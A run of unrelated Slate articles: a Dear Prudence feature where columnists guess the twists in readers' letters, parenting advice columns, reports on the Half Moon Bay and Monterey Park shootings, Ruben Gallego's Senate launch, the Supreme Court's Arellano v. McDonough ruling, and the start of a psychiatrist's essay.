Daniel Schroeder: and he got a somewhat nervous look on his face before admitting that he knew she wasnt because he had taken her virginity, and has been carrying on a sexual relationship with her since before we had started dating. I really love this guy but this feels like an extreme violation of trust and I dont know how to go forward with this man. I care so much about him, but this might be something I cant live with. Should I move on? Is there any way forward for us?

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Rebecca Onion: and he turned bright red. Turns out, he knows shes not, because she tells him everything about her life, and she gets up to some serious stuffshe overcomes her shyness only in the bedroom, lets say. Why should I care about that, you ask? Well! My fiance has been telling her everything that we do, sexually speakingeverything. Im really private, and he knew that I would hate this, so he had kept this quiet, but truly Prudieshe knows it ALL, including very embarrassing details about my anatomy. Im so furious and honestly terrified of the next time I see her in person. Shes so shyhow could I confront her about this? Or should I?

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Bryan Lowder: and my fiance got a very weird look on his face. He wanted to know what I asked and kept hedging. Now I was worried, so I demanded an answer. Turns out the older sister is not shy at all! In fact, shes an escort and my fiance is her pimp! Their weekly get-togethers are business meetings and the lack of a boyfriend is, well, a scheduling issue. Prudie, I dont know what to think! I know its the worlds oldest profession, but can I really marry into a family in the industry?

The Reveal

He turned beet red and said he didnt want to tell me. Finally, I pried the truth out of him: As far as he knew, she had sex exactly oncewith him.

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It happened when they were in their 20s. She wanted to have the experience and didnt trust anyone but him. So they went for it (using double birth control). Afterward, she said she enjoyed it, but would still only do it with him. He decided that it wouldnt be healthy for her to depend on him for sex, so they stopped. According to him, the topic never came up again.

This has really opened Pandoras box for me. First of all, I dont completely trust him anymore. Secondly, I am not sure that I can trust them together, specifically. If we get married, I am afraid that I will spend the rest of our lives wondering what he is doing with her. Am I overreacting to a one-time event?

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Dont Want to Share

Daniel: Wow, alarmed by how right I was! But sort of relieved it only happened once? Like once is still way too many times, but depending on how long ago it was, it might be something you could get through. Even as I say that, though, I really dont think theres any amount of time that has passed that would make this OK, especially if they still have such an intimate (albeit nonsexual according to them) relationship.

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Rebecca: Daniel!! You did it! Double birth control is making me laugh SO hard. As if that fixes things!

Bryan: I figured this was the real story but mine makes a better LMN moviethose viewers wouldnt go for full-on incest, sadly, but The Cheerleader Escort (2019) was just on the other night, so if anyone wants to option my treatment, slip into the DMs!

Wanderlust

Dear Prudence,

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I have been married for 27 years to a woman who grows more beautiful and sexy as the years pass. After we had two children, I was offered a job in a European capital, which I accepted. It paid a decent amount of money, so much so that there was no real reason my wife had to go out and get a job. We were even able to employ a part-time nanny to help out around the house.

Unbeknownst to me, my wife embarked upon a decades-long affair shortly after we moved to Europe. For years, I was completely unaware that when we had sex it was more likely I was the second man she was with on any given day, and I was gullible enough to believe that her twice-yearly, two-week trips to see her mother in California werent actually holidays spent in the Caribbean or Italy with her lover.

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Eventually, I found out that the landlord I had been paying rent to for over a decade was spending most of his afternoons in bed with my wife. I was angry and moved out with the children to a different neighborhood the next day. I fully expected my wife to stay in our old flat and carry on her affair, but she knocked on the door to our new house the next day and wanted to talk it out

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Daniel: and wanted to talk it out between me, her, and the man shes been having an affair with, who knocked on the front door with her. She thinks its entirely reasonable to add this man to our home. It means we wouldnt need a nanny anymore! Should I let her and this man into my familys life? Should I consider some sort of throuple situation? Should I run?

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Rebecca: and told me that my two children werent mine, either! Apparently, she didnt acquire the adultery habit in Europe but brought it along. I love these childrenwhat should I do now?

Bryan: When I opened the door, fully expecting an apology, instead I got a punch in the face from the landlord, who was hiding in the stairwell behind my wife! When I came to, I was tied up to a chair. The pair told me that I would need to continue paying rent on the old apartment for my cheating wife because its a tough market, you see, and the landlord couldnt bother with finding a new tenant (not to mention one offering such attractive fringe benefits!). Theyre currently out gathering paperwork that will contractually bind me to this scheme, after threatening violence against myself and my kids if I dont agree. Prudie, Ive wriggled my hands just free enough to write you this plea on my phoneshould I go along with them? Make some kind of escape? Any ideas on how to get out of here? Help!

The Reveal

To make a long story short, she seduced me, and I forgave her. Thats been a feature of our marriage ever since. Once she was forgiven for her affair, she went on to have many more without being secretive and she eventually began to distance herself from our marriage. She would run off with a lover for a week, stay a month, come back for a few weeks, and disappear for half a year. Our children became resentful, and this kept her away more. The final straw was a two-week trip to Australia with a lover that turned out to be for two years.

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Something happened during her time in Australia that she wont discuss. She eventually came back a year ago and has been remorseful ever since. She feels ashamed of her past behavior although exactly what that was, she wont discuss. I would like the fun, sexy wife back that I married a long time ago. Shes still a stunner, confident and charismatic, but shes developed a hang-up about sex and wont even discuss the matter with me. I never actually had an affair during our marriage, and I put up with months and years without sex and would like to begin enjoying life to the full again. Dont recommend therapy. Thats something she refuses to consider.

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Lonely in London

Daniel: Wow, I was not right at all, though do think my answer wouldve led to a much more fun life than whatever life this man is leading. WHY IS HE STILL TRYING TO MAKE IT WORK WITH THIS WOMAN?

Rebecca: What is going on here? This letters twists and turns have my head snapping! This is a letter abouthelping this wife get back into having sex with this man? She doesnt want that, obviously. And the kids are right to be pissed!

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Bryan: Not the ol two-week to two-year switcheroo! Dear Lonely in London, you sir might want to look into cuckolding because you are already living that life! Turn this comical series of betrayals into a feature of your relationship, rather than a bugclearly, youre both already getting something out of it in addition to all the frequent flier miles.

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Last summer, my neighbor found a baby chick wandering around her yard. While trying to find its owner, she did her best to care for the chick without a coop, run, or a natural place to raise it. Throughout the year, I asked about the progress of raising the chick, which she named Alice. For about a year, my neighbor raised Alice among her cats and chihuahuas until this summer, when she mentioned that Alice had become aggressive toward her at any opportunity. I reached out to a friend who works at an animal sanctuary. They put my neighbor in contact with a different sanctuary, which was able to pick Alice up and bring her to their farm.

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The woman who runs the animal sanctuary, Melody, has been posting updates about all of her animals, including Alice, on her Patreon. I want to share these updates with my neighbor who definitely is not tech-savvy enough to access and subscribe to the Patreon. I know that my neighbor would be happy to see photos of Alice and hear about her new environment.

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The only problem is

Heidi Strom Moon: Ive discovered that Melody and the neighbor are mortal enemies! They were once roommates after college and adopted a bichon frise together. They named it Macaron and entered it in dog costume contests together, winning first prize at their neighborhood block party one year. But Melody eventually got a job in another city and wanted to take Macaron with her. My neighbor was bitterly opposed, so was shocked and surprised when she came home from work one day to find Melodys half of the apartment completely cleaned outshe had skipped town and taken the dog with her. I cant bear to let my neighbor know that Melody has once again wound up with custody of a beloved former animal.

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Shannon Palus: that just the other day Alice found a baby alligator wandering around her yard. She swears shes trying to find its owner, and in the meantime, is trying to care for it without a reptile tank, or supply of baby mice. The alligator is getting bigger. Ive asked about the progress in raising it, but she couldnt even pay attention to me because she was screaming at her chihuahua to get away from the (now, rather large!) alligator. Im worried that shes too busy to think about Alice, or else that focusing on her will just be painful since the alligator situation is so much worse than an aggressive chicken. Help!

The Reveal

that Alice is not yet living the life that my neighbor had imagined for her when she was taken to the farm. Apparently, she is still aggressive toward humans, is absolutely terrified of other chickens, and has yet to join the flock because of this fear. Melody posts photos of her wearing diapers around the house, begging for pizza with the dogs, and poking around her work-from-home setup.

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I can tell that Alices new home is loving, and Melody is committed to making progress with her, but I worry about the guilt my neighbor might feel when she learns that Alices upbringing has stunted her ability to fit in with the flock and lead a normal life. Do I share the reality of Alices life, or do I continue to allow my neighbor to think she is roaming greener pastures?

Fear of the Flock

Heidi: When I was trying to guess what the craziest version of this reveal could be, one option I considered was that Melody was dressing Alice in offensive costumes; does putting diapers on a chicken count?!

Shannon: I think my answer was correct, in a small way: Seeing a former flock member move on can be difficult.

A New-Age Picasso

Dear Prudence,

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I have a very modern problem. My friend Greg is an artist who has never had much luck selling his art. I really respect his hustle but his art is a bit of a tough sell. I doubt he reads Slate so lets just say he sells hoodies with fan art of cartoon characters in streetwear. For context, were both upper-middle-class, white men with no connection to streetwear culture. He recently switched to a more colorful, abstract art style. Lately, though, his new pieces have been flying off the rack and I just found out why

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Heidi: Hes gone full conspiracy theorist and is incorporating QAnon symbols into all of his designs, then selling them on Truth Social and at Trump rallies. Now, hes talking about joining the Proud Boys! Help, before I see him on the evening news trying to enter the Capitol!

Shannon: theyre objectively very beautiful, and in his own unique style. Im so jealous! I realized the real reason Ive been so judgmental about Gregs art is that Ive felt self-conscious about pursuing my own side-hustle dreams. (What does it mean if crocheting hats for small dogs doesnt work out financially? is something Ive been exploring in therapy.) Now that Greg is through a growing phase with his designs and has hit his stride, Im plagued by the thought that creating good art comes down to a lot of trial and error, pursuit, mistakes, and luck, and because I havent started yet, Im so much further behind than I thought.

The Reveal

I was happy for him and we were having a beer to celebrate when he let me know that his new art style is the result of an AI art generator he purchased. He doesnt do anything to it at all. He told me this in confidence and he wasnt ashamedhe was more gleeful and like hed found a neat trick. He referred to it as his money printer. All he does is put in a prompt and it spits out art for him to print on clothes. I dont know how to feel. Im definitely not proud of him anymore and Im honestly kind of disgusted. Im considering at least tipping off the store. Those artists all put in actual work while Greg is basically selling twinkies and calling himself a baker. On the other hand, this income would let him move out of his parents house.

But Is It Art?

Heidi: Using an AI art generator is ethically dubious, but much less egregious than the rabbit hole Id imagined Greg falling down, so this is almost a relief.

Shannon: Greg, how could you! I was rooting for you!
This column is part of Advice Week, Slates celebration of all things advice.

Sometimes, all you need is a different perspective. This week, our columnists have swapped fields of expertise. In this edition, Rich Juzwiak, a How to Do It columnist, handles your parenting questions.

Dear Care and Feeding,

I live in the very lonely overlap of a Venn diagram, and I need help figuring out how to fix it. To keep it short, Im a mom who was on the fence about having kids, so Im not a very mom-y mom. My kid isnt my life or my identity, and while I think Im a caring and attentive parent, Im not the primary parent, and I like it that way. I lost most of my non-parent friends when I had my kid. However, my appearance and interests still very much scream non-parent. My kid is off-putting to the people most like me (many are overtly judgmental), but my looks and lifestyle are off-putting to other moms (for example, I prioritize my appearance, have a lot of tattoos, and value my work). This has left me very lonely and isolated. Finding friends as an adult is so hard, so please dont suggest finding my people as Im very extroverted and have been trying to make new friends for years. Its not working. If Im honest, I think my childless friends think Im stupid for having a kid, while my mom acquaintances are jealous of my appearance and judge my choices. It really sucks.

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The Worst Venn Diagram

Dear Venn Diagram,

That does sound sucky. I wish I knew more about what these judgements looked like, practically. Have you actually heard from people that they dont want to be friends with you because they dont approve of the way you present as a parent, or because you parent at all? Or are you just drawing conclusions? It could be that your projections are guiding the narrative, even though they arent the actual narrative. That is, I wonder to what degree you are self-sabotaging because of the judgement you perceive, which may not actually exist. As informed as a projection can be, its still a projection. The penultimate line of your letter says a lotyou think these people are judging you for this or that reason but you dont actually know. They might be judging you for reasons that have nothing to do with having a kid or parentinga personality defect that youre completely overlooking.

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Im kidding about the defectmostly. The best way forward is to quiet your mind, however you need to do thatvia a distracting hobby or a meditation practice, for example. Youre better off living your life as if judgement isnt there. It is true, people can be judgmental, particularly about qualities that they perceive as cool and are intimidated by, but if youre determined to solve this problem, youre going to have to plow through. Be kind and friendly even to people that you feel have judged you (especially in the absence of hard proof). Reach out to people you havent talked to in a while and make plans. Or start from scratch and try to find alternate means to making friends, like a new hobby or group workout. Do not let perceived judgements dictate your life. Thats giving them too much power. You can also make it a goal to find other hot moms with whom to commiserate. Surely, you cant be the only one going through this. If youre as cool as you present in your letter, you wont be lonely for long.

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Want Advice From Care and Feeding?

Submit your questions about parenting and family life here. Its anonymous! (Questions may be edited for publication.)

Dear Care and Feeding,

HELP! I have a 5- and 7-year-old who love playing outside. Within minutes of being out, our 9-year-old nightmare of a neighbor joins them. Shes mean, disrespectful, sneaky, and relentlessly bossy. She doesnt share, shes not willing to take turns, and she excludes my youngesteven banning her from playing with her own toys.

She ruins the fun every time, and theres always an issue when shes around. My children want to play together and with other friends outside, without her. Ive spoken to her countless times, explained our house rules, set expectations, intervened, sent her home, etc., all to no avail. Another familys experiencing the same problems with her.

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Without a real relationship to her parents, how do we give our kids peace without hurting feelings, offending anyone, and/or making things worse?

Frustrated Next Door

Dear Frustrated,

Youre asking the impossible. How do you thwart someone (as a unified front, no less, with other families in your hood?) without hurting feelings? You dont. Surely youre familiar with the expression you have to break a few eggs to make an omelet. (I prefer you cant groom your cat with your tongue without getting hair in your mouth, but thats neither here nor there.) The point is, you dont get to have everything, at least not without consequences. What youre seeking to do is reject a 9-year-old child. Surely, she doesnt identify as a jerkyet. Even if she is one, and even if your end goal of ostracizing her teaches her a hard but valuable lesson that changes her life for the better, it will likely not come without pain.

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You have choices. You can be extremely aggressive and have your kids follow suit. Tell her that she cant play with them, in no uncertain terms, and tell them to remind her in those very words whenever she comes around: You cant play with us. You can talk to the parentsyou dont need to have a relationship with someone to let them know that theyre contributing to your misery. Take it from someone who regularly rides the New York subway.

Orand I think this is what you should doyou can approach this child with some compassion by attempting to understand why she is the way she is, perhaps even via close inspection like inviting her to your house. Right now shes just a villain, and while that certainly could be the case, something tells me youre not looking hard enough. And beware: Any action you take to bar her from playing with your kids may make you the villain. If youre going to do something about it, you must be willing to accept that rolethats yet another pile of broken eggs, another mouthful of cat hair.

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Catch Up on Care and Feeding

 If you missed Sundays column, read it here.

 Discuss this column in the Slate Parenting Facebook group!

Dear Care and Feeding,

My boyfriend Matt and I are in our mid-20s. We rent an apartment in a suburb of a major city. We live on the top floor. Matt has been estranged from his father since he was a teen, but after his dads death a couple of years ago, his stepmother reached out to ask if he wanted a relationship with his half-sister, Emma, whos now 7. Matt hesitated at first, but eventually said yes, and now describes it as one of the best decisions he ever made.

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Emmas mom is a single mother who often relies on us for childcare. She comes over after school a few days a week and occasionally stays with us if her mom goes on a business trip. Like all kids Emma can be loud sometimes. She gets excited easily. However, if you remind her to be quiet she always listens. Shes a very well behaved, well mannered, rule-following, responsible kid. We make sure to take her out to the park or library or museum or something, especially if shes staying with us for more than a few hours.

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Our neighbor Debby is an older woman whos a bit of a curmudgeon and looks a lot like Emma (same sort of nose, hair color and type, eye color, big glasses, often seen wearing a dress). Emma made the mistake of pointing that out to her once, and Debby was not a fan. She doesnt like kids, but I think she doesnt like Emma in particular because of that.

Ever since Emma started visiting us, Debby has started to complain to us regularly about our noise. My boyfriend was watching TV a while ago, when Emma wasnt staying with us, with the volume low enough that I couldnt hear it in our bedroom, and Debby knocked on our door asking us to shut up the little brat. I can understand being upset by loud noises, but we arent being noisy. None of the people below us have ever complained. Other than Debby and us, most of the people in this building have kids. Ive talked to a few of them and Debby complains about them too. Debby has never officially filed a noise complaint, and our landlord isnt going to do anything if Debby just keeps bothering us. This is the first major issue that either my boyfriend or I have ever had in our renting experiences regarding neighbors. Is there anything we can do here?

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Debbie Downer

Dear Debbie,

I think your best course of action is inaction. Dont give Debby an ounce of your energy. When she knocks, tell her what she wants to hear to make her go away as quickly as possible, and go on living your life. Youre not going to reason with someone who uses language like, Shut up the little brat, so dont even try. You believe that your landlord wont do anything if Debby keeps bothering you, but you should be recording incidents like the little brat in emails so that if she ever were to hit you with a noise complaint, you could point to this pattern of harassment as it occurred, thereby suggesting that such a complaint is just an extension of that.

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And speaking of recording, Im a big believer of turning a camera on people to help them consider their behavior. If you feel similarly, you might record these incidents (check your state law on the legality of this, it varies). You might also be helped by checking noise regulations to see if there are any guidelines that would help you. A lawyer could also be a big help if things get worse.

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You have power here, and the right to live your life without being harassed. Youre not doing anything wrong; Debby is.

Dear Care and Feeding,

I have a 5-year-old girl who is wonderful and smart, and caring most of the time. However, sometimes I feel she gets easily frustrated and once shes on that frustrated track it is so hard to get her off of it. She gets tense, she starts crying, she refuses to do the thing that she needs to do in order to move forward. This morning she woke up in a bad mood, demanded cartoons, and we told her to say please, and she straight up refused. We told her she could not have TV or privileges until she used her manners, and she threw a huge temper tantrum. When we threaten her with time out, it doesnt work, and she just sits there stubbornly waiting for us to give in.

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I wish I had better strategies to help her not feel so frustrated and stuck, but I really dont know how else to approach it. In these moments, I try asking her to take a deep breath. I give her a big hug, even though shes resistant, and say things like I hear what youre saying. You want cartoons. All you have to do is use your manners. And she still refuses. I admire her tenacity and her willpower but its not going to serve her well in life to be so inflexible. What can I do to help?

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Another Tired Mom In Oregon

Dear Mom in Oregon,

You threaten her with time out, she sits there stubbornly waiting for you to give in, and then what? You give in, right? Dont. You undoubtedly have more willpower than she does. Just dont cave. Show her what tenacity looks like. Live by your word and show your daughter what consistency looks like. It may be a valuable lesson moving forward. Or if you must give in, dont give in on everything. Take TV privileges away indefinitely. Its not like she needs them to survive. If youre going to talk the talk of a strict parent, walk the walk.

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Rich

More Advice From Slate

Im a 55-year-old divorced college professor who earns $140,000 a year (plus interest, dividends, and royalties). I have around $3.5 million in investments, home equity, and savings, so I am fairly well off. My 51-year-old girlfriend has little savings, works an hourly wage job, and earns around $40,000 a year (shes had a much tougher life than me). I would be happy to support us both and would like her to quit working (or work much less) so we can travel more and have more free fun time. But she is worried about losing independence and being financially dependent on me. How do we bridge this?
On Monday afternoon, a gunman opened fire at two separate agriculture sites in the seaside town of Half Moon Bay, California, killing seven people. Chunli Zhao, 67, is the suspected gunman in what is likely a case of workplace violence, the San Mateo County Sheriff told reporters. He has been arrested and is in police custody. It is the second mass shooting to happen in the state in just three days.

Law enforcement were notified of gunfire around 2:30 p.m. on Monday in an unincorporated area of San Mateo County, about 30 miles south of San Francisco. The shooter targeted Mountain Mushroom Farm, where he was employed, and is believed to have shot at least four people. According to CNN, the gunman then moved on to a trucking facility, about a mile away, where at least three people were shot. In total, seven people were found dead, while one was found with life-threatening injuries. Authorities also said children who had just come home from school witnessed the shooting.

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In a news conference Tuesday afternoon, law enforcement confirmed the victims are all adults, a mixture of Hispanic and Asian farm workers, who are believed to be coworkers of Zhao. A family reunification center was set up nearby for those displaced by the shootings. On Monday night, there were about 30 to 40 people there, according to the LA Times.

Zhao, the suspected gunman, was found sitting in his car at the San Mateo County Sheriffs Office substation at about 4:40 p.m. A semiautomatic handgun, the weapon believed to have been used in the shootings, was also found in his car, and law enforcement confirmed it was obtained legally. Authorities also believe he is responsible for both shootings, driving from one location to the next, and is a resident of Half Moon Bay. Zhao is expected to be arraigned on Wednesday and will likely face homicide charges.

Two days earlier, Monterey Park also experienced a mass shooting at a dance studio that killed 11 people and wounded several others. The shooter, Huu Can Tran, was also found in his car, but died of a self-inflicted gunshot wound. Both Tran and Zhao are older than most mass shooters in the U.S., who on average are 34-years-oldTran was 72 years old.

This is a breaking news story. Well update as we learn more information.
Lunar New Year is supposed to be a time of joy and celebrationbut the predominantly Asian American community of Monterey Park, California, is heading into the New Year grieving a mass shooting. A gunman killed 11 people and wounded several others at the Star Ballroom dance studio on Saturday night. The shooter fled, and an hours-long manhunt ended in a strip mall parking lot about 30 miles away on Sunday, where police say he died of a self-inflicted gunshot wound.

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A lot of new details about the shooting have emerged over the past day or so. Heres a rundown of what we know.

* An 11th person died from their injuries at the hospital on Monday. Mourners are expected to gather Monday night at Monterey Park City Hall to remember those killed in the shooting.

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* The shooter targeted a second location, but civilians stopped him. After leaving the Star Ballroom on Saturday night, 72-year-old Huu Can Tran drove to another nearby ballroom dance studio, and entered brandishing a gun. But a heroic 26-year-old employee, Brandon Tsay, was able to wrestle the weapon away from him.

* The gunman used what was likely an illegal weapon. Tran used a 9-millimeter Cobray M11, which also had an extended magazine and is currently illegal to buy in the state of California (though it may have been legal for him to possess if he bought it a long time ago).

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* Tran was older than most mass shooters. People who carry out mass shootings tend to be youngerthe average age of a shooter is 34 years old. (While the definition of a mass shooting is contested, most organizations tracking them count shootings where at least three or four people are killed).

* The victims were in their 50s, 60s and 70s. Authorities also named two of the victims Monday: My Nhan, 65, and Lilan Li, 63.

* The shooter appears to have known some of the victims. Tran appeared to have targeted two dance studios he personally frequented. His ex-wife, who asked to remain nameless, told CNN that she first met Tran at Star Ballroom Dance Studio, and that he gave informal lessons there.

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*The gunman used to live in the community. Tran was living in a mobile home in a senior community in Hemet, California, about an hours drive from the scene of the crime in Monterey Park, according to CNN. He previously owned a home in San Gabriel, a town next to Monterey Park, and sold it back in 2013.

* Police are investigating jealousy or a personal dispute as possible motives. Law enforcement sources told the Los Angeles Times that the investigation is focusing on Trans past relationships with the people at the dance studios. Tran also visited the police department in Hemet earlier this month and accused his family members in the Los Angeles area of fraud, theft and poisoning decades ago, police said in a statement. Tran never provided any evidence nor returned to the station.

* Whatever the motive, the violence caused fear and anxiety in the community, at a time when anti-AAPI attacks have been on the rise. The Department of Justice recorded a 77 percent increase in reported anti-Asian incidents from 2019 to 2020 nationally, while the state of California reported a 177 percent increase in anti-Asian bias events in 2021.
Arizona Rep. Ruben Gallego, whos made no secret of his dislike for Sen. Kyrsten Sinemas Senate performance the last couple of years, officially entered the 2024 Senate race on Monday.

Hes pitching himself as the anti-Sinema: Championing working people over the interests of, say, private equity or the pharmaceutical lobby. In his launch video, the Harvard-educated Iraq veteran, whos represented Phoenix since 2015, leans on his biography as the son of an immigrant mother who grew up in poverty.

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Growing up poor, all I had was the American dream. It kept me going: as a kid sleeping on the floor, a student scrubbing toilets, a Marine losing brothers in Iraq.



Today, too many Arizonans see their dream slipping away. Im running for the U.S. Senate to win it back for you! pic.twitter.com/ofUvUYRcTP  Ruben Gallego (@RubenGallego) January 23, 2023

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While he doesnt name Sinema, Gallego takes direct aim at her style of politics (in a nutshell: going to Davos instead of home-state MLK Day events.)

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There is no lobbyist for working families, he says in the video. We could argue different ways about how to do it. But at the core, if youre more likely to be meeting with the powerful than the powerless, youre doing this job incorrectly.

Gallego has been hiring some of the most in-demand talent in Democratic politics as he gears up for a bid. Among his top strategists will be Rebecca Katz, who served a similar role in John Fettermans 2022 Pennsylvania Senate bid. Hes also hired GBAO Strategies, the polling firm that helped bring Fetterman and Georgia Sen. Raphael Warnock across the finish line, and Chuck Rocha, a Latino outreach and mobilization strategist. Hes made hires from Arizona Sen. Mark Kelly, too. In short, Gallego has hired a lot of people with successful records in the delicate art of convincing both progressive and moderate Democrats that their clients are one of them.

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With fellow Arizona congressman Greg Stanton deciding to pass on a Senate bid, Gallego could cruise to the Democratic nomination. How this unusual race ultimately plays out, though, will depend on a few unknown factors.

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Does Sinema run?

You may recall that Sinema quit the Democratic Party to become an independent late last year. The thinking was that this was a desperate move for self-preservation. Theres no demographic in Arizona, including Democratic voters, that likes Sinema, and she could lose a Democratic primary. So instead, she would become an independent and dare Arizona Democrats to run another candidate whose general-election bid she could spoil.

Well, now theyre running a candidate, and hes having no trouble hiring talent (and he probably wont struggle raising money online, either).

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Sinema will now have to decide whether to launch an independent reelection bid, creating a three-way race in which there may be little space for her in the top two.

Im not really thinking about or talking about the election, Sinema said in a local radio interview on Friday. A never-ending focus on campaign politics is why so many people hate politics.

Do Arizona Republicans nominate a dingdong?

If Arizona Republicans can nominate a vaguely normal person operating within the consensus parameters of human behavior, they have quite a flip opportunity here. A candidate like ex-Gov. Doug Ducey, for example, could consolidate Republican voters well enough in a three-way race to lock out Gallego or Sinema from meaningful contention.

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Or Arizona Republicans could nominate a dingdong, as they did last year in their selections of Blake Masters for Senate and Kari Lake for governor. Sure enough, theyre both reportedly considering 2024 Senate bids. Others may come out of the woodwork. They always do, in Arizona.

If this were to become a competitive three-way race, it would require Republicans to do that which theyre perfectly capable of: nominating a composite character of dozens of Jan. 6 defendants, allowing Sinema to operate from the middle of the electorate. Sinema may want to wait to see how the GOP primary field develops.

What do Democratic leaders do?

Its not their favorite question.

In December, when outgoing Democratic Senatorial Campaign Committee chair Sen. Gary Peters was asked how they would treat the newly independent Sinema, he told reporters, At this moment, Im really happy to say thats the job of the next DSCC chair. Little did Peters know that the next DSCC chair would be him, again, after no one else would take the job.

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Sen. Sinema is a friend of mine, Peters said Monday, and I dont know if shes planning on running or what her intentions are, and I dont want to get out in front of what she wants to do.

If Sinema runs, she will put Senate Majority Leader Chuck Schumer in the most unpleasant position of all. Hell be torn between two cross-cutting directives for a Senate party leader: to support his incumbents, and to support Democrats. While Sinema is an independent, she still takes her committee assignments from Democrats and possesses a key vote on nominations and legislation that Schumer would prefer not to lose. Republicans at the DSCCs counterpart, whove had a lousy last couple of years, did not miss the opportunity of Gallegos announcement to sneer at the Democratic discomfort on the horizon.

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The Democrat civil war is on in Arizona, National Republican Senatorial Committee spokesman Philip Letsou said in a statement Monday. Chuck Schumer has a choice: stand with open borders radical Ruben Gallego or back his incumbent, Senator Kyrsten Sinema.

In the end, the sheer amount of local and national blowback Schumer and the DSCC would get from Democratic voters for supporting Sinemaespecially if theres no clear path to victory for hermakes such an overt move seem unlikely. Expect Schumer, however, to quickly move on from questions about this decision for as long as he possibly can. Ideally for him, and most left-of-center people in the United States, Sinema preempts the decision, retiring to become a lobbyist.
After an unusual delay, the Supreme Court finally issued its first opinion of the term on Monday: a unanimous decision in Arellano v. McDonough siding against disabled veterans who seek compensation for disabilities related to their service. Justice Amy Coney Barretts opinion for the court denied these veterans (and their survivors) the ability to obtain benefits retroactively if they filed a late claimeven if the delay occurred because of their disability or some other factor beyond their control. Its a painful blow to military members who were injured while serving their country, and a puzzling one: At oral arguments, the justices sounded divided, yet all three liberals lined up behind Barretts harsh opinion. Maybe they genuinely believed that Congress intended to impose an exceedingly stringent deadline on disabled veterans. Or perhaps the three-justice minority is so outnumbered that it has decided to pick its battles, and Arellano was not worth the fight.

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The facts of the case deserve more attention than Barrett gave them. Adolfo Arellano served in the Navy from 1977 until he was honorably discharged in 1981. During his service, he worked on an aircraft carrier that collided with a freighter in the Persian Gulf. Arellano was nearly swept overboard, and he saw his shipmates get crushed to death. After this incident, he began showing symptoms of post-traumatic stress disorder, bipolar disorder, schizophrenia, and tardive dyskinesia. These conditions rendered him severely disabled and incapacitated, and ever since, his brother has served as his legal guardian and caregiver.

Because of his incapacitation, Arellano did not understand that he qualified for disability compensation. His brother did not find out until 2011, at which point he filed a claim on Arellanos behalf, asking for retroactive benefits for the previous 30 years. The Department of Veterans Affairs granted compensation moving forward, but denied compensation for the past three decades. It said that federal law allows retroactive compensation only if service members file within one year of discharge, which Arellano had not.

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But that law wasnt the end of the story. The Supreme Court has long held that statutes of limitation are subject to a presumption of equitable tolling. That just means a deadline can be suspended when some extraordinary circumstance prevented a party from raising their claim on time. The doctrine reaches back to the founding era and has always served as a background principle whenever Congress drafts statutes of limitations. It does not apply, however, when ignoring a deadline would be inconsistent with statutory text.

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There are several very good reasons why equitable tolling should apply here. First, the Supreme Court has said that interpretive doubt must be read in favor of veterans; as Justice Antonin Scalia once noted, this rule is more like a fist than a thumb on the scale, as it should be. Second, the broader statute expresses special solicitude toward veterans as they navigate a bureaucratic maze in search of their rightful benefitsprecisely the context in which equitable tolling would normally apply.

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Third, there are practical reasons to suspend the deadline here. Many service members were subject to excruciating and unethical chemical testing, most notoriously at the Edgewood Arsenal from 1955 to 1975, then threatened with criminal charges if they disclosed their experience. Victims of this military-administered torture did not file claims for compensation within a year for fear of prosecution. In 2006 the government declared it would not prosecute Edgewood victims for acknowledging their abuse. But by that time, the one-year deadline for retroactive compensation claims had long since passed.

Finally, even outside these devastating cases, there are plenty of reasons why veterans and their survivors are prevented from filing within a year of discharge. Some, like Arellano, have psychiatric disorders that prevent them from pursuing a claim. Others suffer disabilities that do not present themselves until more than one year after service. And still more get shafted by bureaucratic blunders: One survivor, for instance, filed a claim on time but was falsely told by the VA that she was too young to qualify. Years later, she realized the VA was wrong and filed a claim for retroactive compensation. The VA rejected it because the one-year deadline had passed.

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This stringent interpretation of the law has tragic consequences. Service members and their survivors are denied years or decades worth of compensation because problems outside their control prevented them from filing promptly. For that reason, multiple veterans groups urged the Supreme Court to suspend the one-year deadline when fairness requires ita coalition that included Disabled American Veterans, National Organization of Veterans Advocates, and Paralyzed Veterans of America.

But SCOTUS refused, siding against Arellanos request for equitable tolling. Why? Barrett, a former civil procedure professor, ignored the principle of solicitude toward veterans in favor of a wooden analysis of the statutory scheme. She focused on the fact that federal law includes 16 explicit exceptions to the general rule that veterans cant get retroactive compensationand equitable tolling isnt one of them. The presence of this detailed, lengthy list, Barrett wrote, raises the inference that the enumerated exceptions are exclusive. Put differently, it is difficult to see why Congress spelled out a long list if it did not want the list to be comprehensive.

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As Chief Justice John Roberts noted at oral arguments, though, this list of exceptions could cut both ways. It might suggest that the insistence upon strict enforcement is really not that important. Rather, Roberts said, the plethora of exceptions seems to me to make it more likely that you ought to stick with the normal rule of equitable tolling. When Congress creates so many other exceptions to the deadline, Roberts continued, how does it make any sense to say that the one area where equitable principles wont apply is service-connected disabilities? This argument carried great weight given that, as deputy solicitor general, Roberts argued and won the foundational case on this topic. As a matter of common sense, its also a strong counterpoint to Barretts logic: Shouldnt the presence of so many exceptions indicate that Congress did not want rigid enforcement of the one-year deadline?

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Yet Roberts signed onto Barretts opinion in favor of the VA. So did every other justiceincluding Sonia Sotomayor, Elena Kagan, and Ketanji Brown Jackson, all of whom sounded skeptical of the VAs position during oral arguments. For all we know, they ultimately decided that Barrett got it right, and that Congress intended to subject veterans like Arellano to its harsh deadline. Its also possible that the term is filled with so many contentious cases already that no justice wanted to eat up her time writing a dissent in a relatively minor case when the outcome was inevitable anyway. After all, the ongoing backlog of opinions indicates that the justices are taking an unusually long time to writepossibly because of extensive disagreements and bad blood behind the scenes.

If thats the reason for the unanimity in Arellano, its a shame. A seemingly small case like this one can make a huge difference in the lives of real people. Disabled veterans deserved a fairer shake than they received from this court.
Welcome to State of Mind, a new section from Slate and Arizona State University dedicated to exploring mental health. Follow us on Twitter.

Can you just restrain him already? screamed the nurse supervisor.

Why wont that kid shut the fuck up? a male mental health worker yelled.

I can handle it. Thanks for your help, guys, I replied. Both workersboth whitestomped off.

On the outside, I kept my voice level and calm, because as a Black woman, I dont have the freedom to yell or curse at work without repercussions. But on the inside, I was irate about their lack of empathy and compassion toward a child entrusted in our care. I was the on-call psychiatrist and had just arrived on the child inpatient unit after being paged for a behavioral code. A 10-year-old male patient whose autism spectrum disorder was yet to be diagnosed was threatening to hurt himself and throwing cups of water at staff. When he saw me, he ran up to me, tears streaming down his face.

